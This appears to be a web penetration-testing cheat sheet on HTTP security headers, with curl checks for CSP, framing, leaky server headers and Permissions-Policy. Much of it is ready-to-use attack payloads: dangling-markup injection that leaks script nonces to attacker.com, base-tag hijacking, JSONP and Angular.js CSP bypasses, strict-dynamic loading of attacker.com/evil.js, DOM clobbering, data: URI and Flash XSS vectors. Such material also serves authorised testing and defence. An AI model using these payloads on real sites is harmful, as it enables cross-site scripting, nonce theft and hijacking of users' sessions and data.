Security Headers Testing

# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"

# Common weak CSP patterns to look for:
# unsafe-inline            → Allows inline scripts (XSS exploitable)
# unsafe-eval              → Allows eval() (XSS exploitable)
# data: in script-src      → Allows data: URI scripts
# * or *.cdn.com           → Overly broad source allowlists
# Missing default-src      → No fallback policy
# Missing frame-ancestors  → Clickjacking possible

# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>

# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"

# Expected values:
# X-Frame-Options: DENY                    → Cannot be framed
# X-Frame-Options: SAMEORIGIN              → Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none';    → CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self';    → CSP equivalent of SAMEORIGIN

# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers

# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"

# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu)      → Reveals server + OS + version
# X-Powered-By: Express               → Reveals framework
# X-Powered-By: PHP/8.1.2             → Reveals language + version
# X-AspNet-Version: 4.0.30319         → Reveals .NET version
# X-AspNetMvc-Version: 5.2.7          → Reveals MVC version
# X-Generator: WordPress 6.4          → Reveals CMS + version

# These enable targeted CVE exploitation

<!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->

<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->

<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script>

<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>

<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://www.google.com/complete/search?client=chrome&q=x&callback=alert"></script>

<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- jQuery source-map request (source disclosure only — CSP still blocks execution): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
//# sourceMappingURL=https://attacker.com/jquery.min.js.map

<!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->

<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
  // If attacker controls any part of a trusted script's input:
  var s = document.createElement('script');
  s.src = 'https://attacker.com/evil.js';
  document.body.appendChild(s);  // Allowed by strict-dynamic!
</script>

<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a>

# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='

# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"

# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)

<!-- object-src falls back to default-src, so this only works when default-src
     is absent (or object-src is explicitly allowlisted): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">

<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
  <param name="AllowScriptAccess" value="always">
</object>

# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)

# Common misconfigurations to test:
# 1. Missing header entirely → all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)

// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));

// Test from iframe context — create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone';  // Override permissions in iframe
document.body.appendChild(iframe);